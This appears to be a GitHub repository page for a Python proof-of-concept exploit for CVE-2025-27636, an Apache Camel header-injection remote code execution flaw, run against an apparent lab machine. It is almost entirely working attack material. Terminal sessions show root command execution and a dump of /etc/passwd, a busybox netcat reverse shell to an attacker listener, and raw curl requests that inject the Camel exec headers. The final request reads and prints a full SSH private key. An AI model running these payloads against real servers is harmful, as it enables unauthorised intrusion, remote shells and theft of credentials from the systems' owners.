ac8999/cve-2025-27636-rce-in-apache-camelPython-PoC zur Ausnutzung von CVE-2025-27636, einer Apache Camel Header-Injection-RCE, mit Unterstützung für Befehlsausführung, Dateilesevorgänge und Reverse-Shell-Payloads.
Einfacher Python-Exploit für die Apache Camel Header-Injection RCE (CVE-2025-27636).
┌──(root㉿user)-[/run/…/user/2024/HTBox/CVE-2025-27636]
└─# python3 CVE-2025-27636.py -t http://192.168.159.120 -c "id"
[*] Executing: id
uid=0(root) gid=0(root) groups=0(root)
┌──(root㉿user)-[/run/…/user/2024/HTBox/CVE-2025-27636]
└─# python3 CVE-2025-27636.py -t http://192.168.159.120 -c "cat /etc/passwd"
[*] Executing: cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
┌──(root㉿user)-[/run/…/user/2024/HTBox/CVE-2025-27636]
└─# python3 CVE-2025-27636.py -t http://192.168.159.120 -r -L 192.168.45.238 -P 4444
[*] Triggering reverse shell → 192.168.45.238:4444
[*] Listener should already be running: rlwrap nc -lvnp 4444
[*] Trying busybox first (most reliable from your POC)...
┌──(root㉿user)-[/home/user]
└─# rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.45.238] from (UNKNOWN) [192.168.159.120] 49306
id
uid=0(root) gid=0(root)
Hinweis: Die Reverse-Shell-Payload verwendet eine einfache busybox-Payload (dies ist in Ihrem Szenario möglicherweise nicht anwendbar).
┌──(root㉿user)-[/run/…/user/2024/HTBox/CVE-2025-27636]
└─# curl "http://192.168.159.120:80/command-center" --header "CAmelExecCommandExecutable: busybox" --header "CAmelExecCommandArgs: nc 192.168.45.238 4444 -e sh"
┌──(root㉿user)-[/home/user]
└─# rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.45.238] from (UNKNOWN) [192.168.159.120] 49306
id
uid=0(root) gid=0(root)
┌──(root㉿user)-[/run/…/user/2024/HTBox/CVE-2025-27636]
└─# curl "http://192.168.159.120:80/command-center" --header "CAmelExecCommandExecutable: cat" --header "CAmelExecCommandArgs: /root/.ssh/id_rsa"
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwWtSWaaZTrCUcJR1GYeF3avjBK6Bs2IwLb3UssVbOLgjKpSavgWU
bZ1MaFgoT7bPTtRI/FjO3886b/m1r55Ijn0MNB9svp14T18yByATLBr0/CgerVERCcfDPU
Jw7BkiQNBKfSGBpAWMoboFv5n72jqIXgTi0xkXFwpGtrUs6eg25KKhfiMAcJZnP36xk4Ng
2Y/pv1GFCoSdWkhSC0l775oP7/oS4oyhyBLuMbym8xswqaOT8zLD2hbRdWt00/s/OBiBa7
bCzIDILlImE9AouIW+mHMyMvFnx46XrXnJTPZXJcWbwQzBs176AUBtylP2C4iD7V+oWcfE
qZL4uoB1mwAAA8ivMETxrzBE8QAAAAdzc2gtcnNhAAABAQDBa1JZpplOsJRwlHUZh4Xdq+
MEroGzYjAtvdSyxVs4uCMqlJq+BZRtnUxoWChPts9O1Ej8WM7fzzpv+bWvnkiOfQw0H2y+
nXhPXzIHIBMsGvT8KB6tUREJx8M9QnDsGSJA0Ep9IYGkBYyhugW/mfvaOoheBOLTGRcXCk
a2tSzp6DbkoqF+IwBwlmc/frGTg2DZj+m/UYUKhJ1aSFILSXvvmg/v+hLijKHIEu4xvKbz
GzCpo5PzMsPaFtF1a3TT+z84GIFrtsLMgMguUiYT0Ci4hb6YczIy8WfHjpeteclM9lclxZ
vBDMGzXvoBQG3KU/YLiIPtX6hZx8Spkvi6gHWbAAAAAwEAAQAAAQAfFaTn9I7Z5yYMC8fg
APhCHmA/Pd5pWmPczg/TZUVaUbmRG83csR/gF/ISKOzdlsctZ4+NQqaIsJC3Mz4ASeNmRv
GBpPVAkyUlOGrdW0nJglGR/s6jUw52cGzPuRBV2Vo4aWE3R/3CQwQNb8yBtPkVYufMmGNt
wrADy2p+7ZIYyyoPewLIVWoaZyTq0fll0fd1Pbr3gbWEKSpz97B1sjGFrMReZUbsHZomvM
iXuQqoRBA+uIO5/UF8Lt4GdYMfrRME24ldZ057NxFtQgdxJ/K/ZqP1ZHq/PdApXY2DYdcG
/k9CD/sMTcjmIaR6By0+113huXNhchXyyoT3SaaDrJ/FAAAAgAt9gaETnIPHH/z2aAUwsB
51GRYfVv2OKokTdeDYaRT8KFq7PdSe7ENcxTHU2gU4V8mgLKFYp/mCPRhQXW6pRLYE6AMH
Gj56zQfDD3ku/ESNzyC6SwJH3TJBYpPVkSlEnCqt9KnLlGCPw42LzG5Ya70kv8OS8E9Qt+
yvSvD9VrSBAAAAgQDkITKG6C3GgMArN8Jq/xIoXnO7qA2KL0u8krwaIl6Q2vivJZdl2GzK
0mRkMJ4bX0v0uMpfNqc4EMt0Z+DhcO4x60R6Z5a7CmdT3w9NNbhHXQCPCnDPBbmTrI2ivU
G8N4ZK2/i3Q5NiiN8515+eZzzBv1LxaDFJf01ffDf/rFMuRwAAAIEA2QyMOzhQugtq9y9k
k0swKNwDLTKtmZBOueMYRQzDzhlmQNxtzNu8fudqeZwpiMlyZe8nJMFh4vwMXsIuNkRibu
bBSEQqoWHJbJ7/Qp4DkCTDHsI4MmbeqlTuY+ImRg92YrwUfpf4riAL60n5sIGXcrAx5k34
tMC6Gz5tY6cCBA0AAAAOcm9vdEBsb2NhbGhvc3QBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----